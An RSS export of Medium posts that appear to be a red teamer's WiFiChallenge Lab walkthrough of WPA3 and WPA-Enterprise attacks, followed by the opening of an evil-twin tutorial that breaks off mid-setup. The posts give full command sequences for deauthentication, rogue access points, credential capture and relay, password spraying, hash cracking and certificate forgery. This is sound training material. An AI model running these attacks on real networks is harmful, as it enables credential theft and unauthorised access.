<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdelrahman Y. (DbgMan) on Medium]]></title>
        <description><![CDATA[Stories by Abdelrahman Y. (DbgMan) on Medium]]></description>
        <link>https://medium.com/@DbgMan?source=rss-c764dd1f18ab------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jXGXUdFY9-eE2XJJnufy7w.jpeg</url>
            <title>Stories by Abdelrahman Y. (DbgMan) on Medium</title>
            <link>https://medium.com/@DbgMan?source=rss-c764dd1f18ab------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 00:22:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@DbgMan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Joy of Wireless Part.3: Advanced attacks on WPA/3 , MGT]]></title>
            <link>https://medium.com/@DbgMan/the-joy-of-wireless-part-3-advanced-attacks-on-wpa-3-mgt-2b8417c3be49?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b8417c3be49</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 22:20:00 GMT</pubDate>
            <atom:updated>2025-11-23T22:20:44.275Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Joy of Wireless : Advanced attacks on WPA/3 , MGT Part.3</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*AVdXEkodIaukaJgVDqD45A.jpeg" /></figure><blockquote>Hi — I’m DebuggerMan, a Red Teamer<br><em>In this post, we’ll dive into </em>Advanced attacks on WPA/3 , and All MGT Attacks</blockquote><h3>WPA3</h3><p>In WPA3 networks it is still possible to brute force until the password is found, to do this we can use “wacker”.</p><h3>13. What is the wifi-management password</h3><p>Just Normal BruteForce</p><pre>https://github.com/blunderbuss-wctf/wacker<br>./wacker.py --wordlist ~/rockyou-top100000.txt --ssid wifimanagement--bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDvxUJOZjFKWhyhRJPC20g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Us9T1X64c-AO7WUWzbbVA.png" /></figure><p>now lets Conneect</p><pre>ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev<br>update_config=1<br><br>network={<br>    ssid=&quot;wifi-management&quot;<br>    key_mgmt=SAE WPA-PSK<br>    proto=RSN<br>    pairwise=CCMP<br>    group=CCMP<br>    psk=&quot;chocolate1&quot;<br>    ieee80211w=2<br>}</pre><pre>wpa_supplicant -i wlan2 -c /tmp/wpa3.conf</pre><p>Ask ip</p><pre>dhclient -v wlan2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzjPBHrbbP02u8YrBs3sew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-DtC09WUaxlbJEJjPbeAnQ.png" /></figure><h3>14. What is the wifi-IT password?</h3><p>If a network with WPA3 SAE has a client configured for WPA2/WPA3 we can perform a downgrade against the client forcing it to connect to our RogueAP with WPA2 obtaining the handshake to crack it later, as in the case of wifi-offices. In this case we can see that the AP uses SAE and PSK, so maybe the clients accept PSK too. We can get this information in the airodump-ng “.csv” file.</p><p>We can check if the AP has MFP(802.11w) with Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*LktFsCPK4369ADB2" /></figure><p>In this case 802.11w is disabled so we can deauth:</p><pre>sudo airodump-ng wlan2 -w scan --manufacturer --wps --band abg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HPI5w4Pr3xrZ_yItNKRZzQ.png" /></figure><pre>hostapd-mana hostapd-sae.conf</pre><pre>interface=wlan3<br>driver=nl80211<br>hw_mode=g<br>channel=11<br>ssid=wifi-IT<br>mana_wpaout=hostapd-management.hccapx<br>wpa=2<br>wpa_key_mgmt=WPA-PSK<br>wpa_pairwise=TKIP CCMP<br>wpa_passphrase=12345678</pre><pre>aireplay-ng -0 15 -a F0:9F:C2:1A:CA:25 -c 10:F9:6F:AC:53:52 wlan4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ATO6FDRAV8kcPSEzSY-OA.png" /></figure><p>now u have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MfAuXEepd1f8AYeJyOthQ.png" /></figure><pre>hashcat -m 22000 test.hccapx ~/rockyou-top100000.txt --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CYgw7s6up4I5ZY_yvbgTzg.png" /></figure><p>Now Connect</p><pre>wpa_supplicant -B -i wlan3 -c &lt;(wpa_passphrase &quot;wifi-IT&quot; &quot;$$$$&quot;)</pre><pre>dhclient -v wlan3</pre><h3>MGT</h3><h4>Lets Recon</h4><h4>15. What is the domain of the users of the wifi-regional network?</h4><p>To attack a mistrusted client on an MGT network we have to create a RogueAP with the same <strong>ESSID </strong>and configuration but with a self-signed certificate, preferably with the same data as the real one in case the client manually verifies the certificate. To do this you can use “eaphammer”.</p><pre>airodump-ng wlan0mon -w scanc15 -c 44 --wps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJUk1fzCPAQOiFKOIhGOVA.png" /></figure><pre>wireshark scanc15-01.cap<br># Than Filter By EAP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNVuw6xZi5CJz5Rdj3uXBQ.png" /></figure><p>Or use</p><pre>sudo tshark -r scanc15-01.cap -Y &#39;(eap &amp;&amp; wlan.ra == f0:9f:c2:7a:33:28) &amp;&amp; (eap.identity)&#39; -T fields -e eap.identity</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAb8Wpe-QAME2uNEOkMfRQ.png" /></figure><h4>16. What is the email address of the server certificate?</h4><p>To create the TLS tunnel between the MGT network and a client the AP sends the certificate to the client in clear text, so anyone can see it. This information can be useful to create a fake certificate with the same fields in a RogueAP attack or to obtain information about the corporate domain, internal mails or other relevant information about the AP.</p><p>We can use <a href="https://gist.github.com/r4ulcl/f3470f097d1cd21dbc5a238883e79fb2">pcapFilter.sh</a> to display the certificates used by APs with MGT.</p><pre>bash pcapFilter.sh -f ~/mgt/scanc15-01.cap -C</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sdF5jiGsC98bjdc3TmBm9g.png" /></figure><p>You can get this information directly from wireshark or tshark too:</p><p>In Wireshark, just filter by certificates using the AP BBSID as filter (in this case any).</p><pre>(wlan.sa == f0:9f:c2:71:22:15) &amp;&amp; (tls.handshake.certificate)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J9ouVsIrHDdcLAbJCfqrOg.png" /></figure><pre>tshark -r ~/mgt/scanc15-01.cap -Y &quot;wlan.bssid == f0:9f:c2:71:22:15 &amp;&amp; ssl.handshake.type == 11&quot; -V</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvSmtfvX2f4hnNUWN_laiQ.png" /></figure><h4>17. What is the EAP method supported by the wifi-global AP?</h4><p>Once we have a valid user we can force each of the EAP authentication methods to verify which methods the AP supports. We can use “<a href="https://github.com/blackarrowsec/EAP_buster">EAP_buster</a> ” for this task.</p><pre>bash ./EAP_buster.sh wifi-global &#39;GLOBAL\GlobalAdmin&#39; wlan0mon</pre><p>Or using Wiresharek</p><pre>(wlan.sa == f0:9f:c2:71:22:15) &amp;&amp; (tls.handshake.certificate)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiNBzYydfZxydeCddzZjTQ.png" /></figure><h3>MGT Attacks</h3><h4>18. What is juan’s wifi-corp password?</h4><p>Evil Twin + Stealing EAP credentials</p><p>We create a full Rogue AP with the exact same ESSID (wifi-corp) and WPA-Enterprise settings using eaphammer and a self-signed certificate. We perform targeted deauthentication attacks against both real APs simultaneously so the client has nowhere else to go and connects to our fake one. When the client authenticates, it sends the full MSCHAPv2 challenge/response (NetNTLMv2 hash). We capture the hash and crack it offline with hashcat → password revealed:$$$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JBT2PvtYYuwo6b3mXF01iQ.png" /></figure><pre>./eaphammer --cert-wizard<br> <br>python3 ./eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Wu44Vckmgr7MQB9o0iVLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IzdYMGqSiEyHy9gyEaurRQ.png" /></figure><p>We use airodump-ng to identify the MAC addresses of the connected clients. <br>Then we launch simultaneous **deauthentication attacks** targeting both real access points at once. <br>The reason: if we only deauth from one legitimate AP, the client might simply roam to the other real AP instead of connecting to our Rogue AP. <br>By disconnecting the client from <strong>both </strong>legitimate APs at the same time, we force it to fall back and associate with our fake one.</p><pre>aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:41<br>aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:BA:6C:41</pre><p>after Deauth</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_lbm26fPF28wN_cRFm0gfA.png" /></figure><p>Deauth agine u will Got hash</p><pre>aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:07:6C:40<br>aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:07:6C:40</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*85WxI9ymrW_ecJTSH9YAeA.png" /></figure><p>Crack</p><pre>cat logs/hostapd-eaphammer.log | grep hashcat | awk &#39;{print $3}&#39; &gt;&gt; hashcat.5500<br>hashcat -a 0 -m 5500 hashcat.5500 ~/rockyou-top100000.txt --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GaFxOicVs32CSMctRGcFWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dXTrem9d9DIFqAHUS1JMnQ.png" /></figure><p>pass : bulldogs1234</p><h4>19. What is CONTOSO\test password in wifi-corp?</h4><p>Username-Known Brute Force</p><pre>python2 ./last.py -i wlan3 -e wifi-corp -p ~/rockyou-top100000.txt -u test.user<br><br><br>monkey</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iG_tT23cmTUtq95Y7EfVdA.png" /></figure><h4>20. Which is the user (with domain) with password 12345678 in wifi-corp?</h4><p>This challenge is very similar to the previous one, but instead of performing a brute-force attack (since we already know the password), we carry out a <strong>password spraying attack. </strong><br>We try the single known password (12345678) against a large list of potential usernames, making sure to prepend the domain CONTOSO\ to each username in the list so that the login format is valid and accepted by the network.</p><p>Note: if you have any problam in this tool</p><p>use <a href="https://github.com/Wh1t3Rh1n0/air-hammer/blob/master/air-hammer.py">https://github.com/Wh1t3Rh1n0/air-hammer/blob/master/air-hammer.py</a> and python2</p><pre>./air-hammer.py -i wlan4 -e wifi-corp -P 12345678 -u ~/top-usernames-shortlist-contoso.txt<br><br>CONTOSO\ftp:12345678</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tNQeVqgWkto_6Gk6kNFpw.png" /></figure><h4>21. What is the flag on the wifi-regional-tablets AP?</h4><p>The real Access Point (AP) named wifi-regional-tablets is protected with WPA2-Enterprise <strong>(PEAP + MSCHAPv2)</strong>We don’t know any user’s password, but we will perform a relay attack (also called EAP Relay or Evil Twin + Relay) so that we can authenticate to the real AP without ever cracking anything. Once we are connected to the real network, we get an IP address, access the internal web server, and grab the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*tWUiMQwddvanaW64JS0Grg.png" /></figure><ol><li>Stop anything that interferes with the Wi-Fi cards</li></ol><p>2. Spoof your MAC to look like the real AP</p><pre>systemctl stop network-manager<br>airmon-ng stop wlan1mon<br>ip link set wlan1 down<br>macchanger -m F0:9F:C2:00:00:00 wlan1<br>ip link set wlan1 up</pre><p>3. Create the wpa_sycophant configuration file</p><pre>echo &#39;<br>network={<br>  ssid=&quot;wifi-regional-tablets&quot;<br>  ## The SSID you would like to relay and authenticate against. <br>  scan_ssid=1<br>  key_mgmt=WPA-EAP<br>  ## Do not modify<br>  identity=&quot;&quot;<br>  anonymous_identity=&quot;&quot;<br>  password=&quot;&quot;<br>  ## This initialises the variables for me.<br>  ## -------------<br>  eap=PEAP<br>  phase1=&quot;crypto_binding=0 peaplabel=0&quot;<br>  phase2=&quot;auth=MSCHAPV2&quot;<br>  ## Dont want to connect back to ourselves,<br>  ## so add your rogue BSSID here.<br>  bssid_blacklist=F0:9F:C2:00:00:00<br>}<br>&#39; &gt; ~/tools/wpa_sycophant/wpa_sycophant_example.conf</pre><p>4. Start the Evil Twin (Rogue AP) with berate_ap</p><pre>./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets</pre><ul><li>— eap → Enterprise mode</li><li>— wpa-sycophant → Enables relay mode (critical)</li><li>wlan1 → Interface that broadcasts the fake AP</li><li>Last parameter → SSID of the fake AP (same as real one)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lMTKkPVi50NPaYTaOpfpXQ.png" /></figure><p>Now your fake AP is up and broadcasting on the same channel as the real one.</p><p>5. Deauthenticate the legitimate client so it connects to your fake AP</p><pre>aireplay-ng -0 0 wlan0mon -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55</pre><ul><li>-a = real AP’s BSSID</li><li>-c = target client MAC (the one that is NOT using 802.11w/MFP)</li><li>This forces the tablet to disconnect and reconnect → it will choose your stronger fake AP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2gwb_NzDXdW_pjM1EmzYag.png" /></figure><p>6. Run wpa_sycophant (the relay happens here)</p><pre>./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3</pre><ul><li>wlan3 = the interface that will actually connect to the real AP</li><li>As soon as the real client connects to your fake AP, wpa_sycophant:</li></ul><ol><li>Asks the real AP for a challenge</li><li>Forwards that challenge to the client (through berate_ap)</li><li>Takes the client’s response</li><li>Sends it to the real AP → authentication succeeds</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xJ4pAbCUX8fDSwjUsYlFg.png" /></figure><p>7. Get an IP address on the real network</p><pre>dhclient wlan3 -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mcTkJLIkLuyTY32NAXrQWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-qpWpGnOmb6S8BfKz7wydA.png" /></figure><h4>22. What is the flag on the wifi-regional AP?</h4><p><strong>Target</strong>: The corporate Wi-Fi network named <strong>wifi-regional</strong> (this time it’s the corporate laptops/desktops, NOT the tablets).</p><p>This challenge is an advanced <strong>WPA-Enterprise (PEAP-MSCHAPv2) relay attack</strong> using a Rogue Access Point (Evil Twin) combined with <strong>berate_ap</strong> and <strong>wpa_sycophant</strong>. The goal is to steal a corporate user’s credentials (or more accurately, relay their authentication) and gain full access to the real corporate network to retrieve the flag.</p><p>Explanation</p><ol><li>Stop services and set a fixed MAC address</li></ol><p>We force our wireless card to always use the same MAC address so we can reliably blacklist it later.</p><pre>systemctl stop network-manager<br>airmon-ng stop wlan1mon<br>ip link set wlan1 down<br>macchanger -m F0:9F:C2:00:00:00 wlan1    # Fixed spoofed MAC<br>ip link set wlan1 up</pre><p>2. Create the wpa_sycophant configuration file</p><p>This config will later be used by wpa_sycophant to connect to the real AP using stolen challenge/response data.</p><pre>echo &#39;<br>network={<br>  ssid=&quot;wifi-regional&quot;<br>  scan_ssid=1<br>  key_mgmt=WPA-EAP<br>  identity=&quot;&quot;<br>  anonymous_identity=&quot;&quot;<br>  password=&quot;&quot;<br>  eap=PEAP<br>  phase1=&quot;crypto_binding=0 peaplabel=0&quot;   # Critical: disables channel binding protection<br>  phase2=&quot;auth=MSCHAPV2&quot;<br>  bssid_blacklist=F0:9F:C2:00:00:00        # Prevent connecting back to our own rogue AP<br>}<br>&#39; &gt; ~/tools/wpa_sycophant/wpa_sycophant_example.conf</pre><p>Key part: <strong>crypto_binding=0 peaplabel=0</strong> This <strong>bypasses </strong>Microsoft’s channel binding protection in PEAP — a known vulnerability that tools like EAPHammer and berate_ap exploit.</p><p>3.Start the Rogue Access Point using berate_ap</p><p>This creates a fake AP that looks legitimate and captures PEAP-MSCHAPv2 handshakes.</p><pre>./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets</pre><ul><li>— eap → Enables WPA-Enterprise mode</li><li>— mana-wpe → Activates credential logging (saves challenge/response)</li><li>— wpa-sycophant → Allows real-time relaying of captured auth data</li><li>SSID is set to <strong>wifi-regional-tablets</strong> (slightly different name so clients prefer it due to stronger signal or Karma attack)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7lgB9vV2Ea2xaG8-pLoJvA.png" /></figure><p>4. Deauthenticate the target client</p><p>Only one client is vulnerable to deauth (not using 802.11w/MFP): 64:32:a8:a9:de:55</p><pre>airmon-ng start wlan0<br>iwconfig wlan0mon channel 44<br>aireplay-ng -0 0 wlan0mon -a F0:9F:C2:7A:33:28 -c 64:32:a8:a9:de:55</pre><p>This kicks the victim off the real AP → they immediately reconnect → see your stronger rogue AP → connect to it automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OctAKRuEjd3-RlogVWrNkA.png" /></figure><p>5.Run wpa_sycophant to relay the authentication</p><p>As soon as the victim connects to your rogue AP:</p><ul><li>MANA logs the MSCHAPv2 challenge + response</li><li>wpa_sycophant reuses that exact challenge/response to authenticate to the <strong>real</strong> AP</li></ul><pre>cd ~/tools/wpa_sycophant/<br>./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a7secYSUsE3u7QftQ4_jKg.png" /></figure><p>6. Get an IP address from the real network via DHCP</p><pre>dhclient wlan3 -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5llCmnpFTtDtIjPCXZPdDw.png" /></figure><p>back to see berate_ap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_g3M_uEqkGnkp81-u6CzvA.png" /></figure><p>Get Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VENOWNOMV-IwzEz_OoPRA.png" /></figure><h4>23. What is the password of the user vulnerable to RogueAP of wifi-global?</h4><h4>Phishing+RogueAP</h4><p>The wifi-global network doesn’t allow any of the types of attacks you used to perform (like regular RogueAP or EAP attacks), because it only accepts devices with a Client Certificate.<strong>WPA-EAP (TLS)</strong></p><p>You can’t attack the network itself, but you can attack the client connected to it.How? The wifi-global client probes other access points it has previously connected to:</p><p>all login is done with a certificate.</p><pre>./eaphammer --essid WiFi-Restaurant --interface wlan4 --captive-portal</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joUje1yoCekkrF_cnJCGiA.png" /></figure><pre>aireplay-ng -0 0 wlan0mon -a F0:9F:C2:71:22:17 -c 64:32:A8:BC:53:51</pre><p>will see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkZHKPPu7gtsnAXQhWdzkQ.png" /></figure><h4>Responder+RogueAP (hostile-portal)</h4><p>Another option we have in this section is to perform a hostile portal attack, executing respond once connected to our Rogue AP. Same as before with — hostile-portal</p><pre>./eaphammer --essid WiFi-Restaurant --interface wlan2 --hostile-portal</pre><pre>aireplay-ng -0 0 wlan0mon -a F0:9F:C2:71:22:17 -c 64:32:A8:BC:53:51</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KS9DVAQ5oGt1cAyN0SfK2g.png" /></figure><p>Crack</p><pre>cat logs/Responder-Session.log  | grep NTLMv2 | grep Hash | awk &#39;{print $9}&#39; &gt; responder.5600<br>hashcat -a 0 -m 5600 responder.5600 ~/rockyou-top100000.txt  --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVr5MlLd_tO9-1bSI5Y62Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tq-hbhSL6w8pdU0VDVbLeQ.png" /></figure><h4>24. What is the flag after login in wifi-regional when logging in with the credentials obtained in the previous step?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q_LZXOOpSlJ-PrHxkUwQPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VOgMqwQl3b7Kyi9ammayqg.png" /></figure><pre>wget -A txt -m -p -E -k -K -np  http://192.168.7.1/.internalCA/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mkNPmnrBzvXvV2AOEYDhMQ.png" /></figure><h4>25. What is the password of the wifi-corp Administrator?</h4><p>You previously discovered that the company’s client device “wifi-corp” verifies the AP’s certificate before connecting.<br> What does that mean?<br> It means the phone/laptop will <strong>not</strong> connect to any rogue Access Point unless that AP has a <strong>valid certificate signed by the same CA</strong> the company uses.</p><p>Since you managed to obtain the <strong>real AP’s certificate</strong> <em>and</em> the <strong>CA certificate</strong>, you can now create a <strong>Rogue AP that is 100% identical to the real one</strong>.<br> As a result…<br> the client will connect to your Rogue AP without hesitation, believing you are the legitimate access point.</p><p>Importing certificates instead of self-signed ones:</p><pre># import the certificate<br>python3 ./eaphammer --cert-wizard import --server-cert /home/user/Downloads/server.crt --ca-cert /home/user/Downloads/ca.crt --private-key /home/user/Downloads/server.key --private-key-passwd whatever<br><br># We bring up the Rogue AP and then launch a deauthentication attack against the client and both legitimate access points.<br>python3 ./eaphammer -i wlan4 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced</pre><pre># Here you are hitting Deauth on both of them:<br>aireplay-ng -0 0 -a F0:9F:C2:71:22:1A -c 64:32:A8:BA:6C:41 wlan0mon<br>aireplay-ng -0 0 -a F0:9F:C2:71:22:15 -c 64:32:A8:BA:6C:41 wlan2mon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nTKoAeWZsx6DL7yVJlH6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YSbBpAF4K8aYP7p1THFdug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CuSJMpzTRzzUg2FEHgIsng.png" /></figure><p>OR Using berate_ap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azONw1_OGhISI1YqENpq1A.png" /></figure><pre>./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan4 lo wifi-corp --eap-cert-path /home/user/Downloads/</pre><h4>26. What is the flag found on the wifi-global AP?</h4><p>After Download Files</p><pre># Generate a new 2048-bit RSA private key for the client (still encrypted with password)<br>openssl genrsa -out client.key 2048<br><br># Create a Certificate Signing Request (CSR) using the private key and the config file<br>openssl req -config client.conf -new -key client.key -out client.csr<br><br># Sign the client CSR with your CA and produce a valid client certificate (client.crt)<br>openssl x509 -days 730 -extfile client.ext -CA ca.crt -CAkey ca.key -CAserial ca.serial -in client.csr -req -out client.crt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*cbP8_2F_zftbNDgKcX1Q7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wLMcv9WvPLLZ0pSjpNGIQ.png" /></figure><pre>echo &#39;network={<br> ssid=&quot;wifi-global&quot;<br> scan_ssid=1<br> mode=0<br> proto=RSN<br> key_mgmt=WPA-EAP<br> auth_alg=OPEN<br> eap=TLS<br>    #anonymous_identity=&quot;GLOBAL\anonymous&quot;<br> identity=&quot;GLOBAL\GlobalAdmin&quot;<br> ca_cert=&quot;./ca.crt&quot;<br> client_cert=&quot;./client.crt&quot;<br> private_key=&quot;./client.key&quot;<br> private_key_passwd=&quot;whatever&quot; <br>}<br>&#39; &gt; wpa_tls.conf</pre><pre>wpa_supplicant -Dnl80211 -i wlan4 -c wpa_tls.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-KMzizTazea49DhQ1nXyQ.png" /></figure><p>take ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X6ig1Kaxrpqkl8_1CEk1JA.png" /></figure><p>finally</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*USRHsjUJWuuXUsU1zE_ucw.png" /></figure><p><strong>Regarding the reference, it was really good.</strong></p><p><a href="https://lab.wifichallenge.com/">WiFiChallenge Lab</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWBRenajmlpK949Vv3CFgQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b8417c3be49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Joy of Wireless: All you Need about Evil Twin Attacks Part.2]]></title>
            <link>https://medium.com/@DbgMan/the-joy-of-wireless-all-you-need-about-evil-twin-attacks-part-2-9be0ad26764a?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/9be0ad26764a</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 22:19:50 GMT</pubDate>
            <atom:updated>2025-11-23T22:19:50.989Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*DRs4Xb4v-gh-QPlEJ4rnLw.jpeg" /></figure><blockquote>Hi — I’m DebuggerMan, a Red Teamer<br><em>In this post, we’ll dive into </em>Evil Twin Attack On WPA2/3 ,Karma &amp; Mana Attacks , Enterprise Evil Twin Attack</blockquote><h3>What is a Rogue Access Point?</h3><p>A rogue access point is a wireless access point (Wi-Fi hotspot) that has been installed on a network without the network administrator’s permission. It pretends to be a legitimate access point by copying the real network’s name (SSID).</p><h4>There are two main types:</h4><p><strong>1. Rogue AP<br></strong> Physically connected (via Ethernet cable) to the internal secure network. Extremely dangerous because it creates a direct backdoor into the corporate/private network.</p><p><strong>2. External Rogue AP (Evil Twin)<br></strong> Not physically connected to the secure network. It just broadcasts the same SSID in the air. If it’s malicious and successfully tricks clients into connecting, it’s called an Evil Twin.</p><p>This module focuses only on the second type: Evil Twin attacks</p><h3>Why Evil Twin Attacks Work: Abusing 802.11 Roaming</h3><p>When a phone or laptop sees multiple access points with the same SSID (same network name), it automatically connects to <strong>the one with the strongest signal. </strong>The 802.11 Wi-Fi standard does <strong><em>not </em></strong>require the client to verify that the access point is actually legitimate — it trusts the SSID alone.</p><p>An attacker exploits this in two ways:<br>1. Enticement<br> Broadcast the fake AP with higher signal strength than the real one → clients voluntarily roam to the attacker’s AP.</p><p>2. Coercion (Forced Roaming)<br> Send deauthentication packets (or jam the real AP) to kick clients off the legitimate AP → they immediately look for the same SSID and connect to the stronger (fake) one.</p><h3>How an Evil Twin Attack Works</h3><ol><li>Attacker creates a fake access point with the exact same SSID as the target network.<br>2. (Optional but common) Sends deauthentication frames to disconnect users from the real AP.<br>3. Clients reconnect automatically to the fake AP (especially if it’s open/no password or has stronger signal).<br>4. Attacker blocks real internet access and forces users to a fake captive portal (a login page that looks identical to the real one — like a hotel or café Wi-Fi login page).<br>5. Victims type their real Wi-Fi password (or username/password in Enterprise) → credentials stolen.</li></ol><h3>Evil Twin on Different Network Types</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IKyQMx63EwAjsTref3tuFQ.png" /></figure><h3>Evil Twin Attacks on WPA2</h3><h4>1- First Method</h4><p>The evil twin attack on WPA2 involves creating a rogue access point (AP) that mimics a legitimate one, tricking unsuspecting clients into connecting to it. The primary difference here is that the identical rogue access point is an open network. Once connected, the attacker can intercept sensitive data or perform further exploitation, such as phishing for credentials using captive portals or executing man-in-the-middle (MITM) attacks</p><h4>Steps a manual attack:</h4><h4>1- Monitor the target &amp; capture valid WPA handshake:</h4><p>To collect information about the target network such as network name (SSID), MAC address (BSSID), encryption type, etc.</p><p>Put the wireless interface into Monitor Mode using airmon-ng:</p><pre>sudo airmon-ng start wlan0</pre><p>Scan available networks using airodump-ng and save the results to a file:</p><pre>airodump-ng wlan0mon -w Dbgman -c 1</pre><p>Perform a deauthentication attack using aireplay-ng to disconnect the client from the legitimate network, forcing it to reconnect and capture the handshake:</p><pre>aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 wlan0mon</pre><h4>2- Configure the routing</h4><p>Set up DNS and DHCP servers for the fake access point to distribute IP addresses to connected clients, ensuring a seamless connection experience similar to the legitimate access point</p><p>Set up a DNS and DHCP server using dnsmasq. A configuration file (dns.conf) is created that 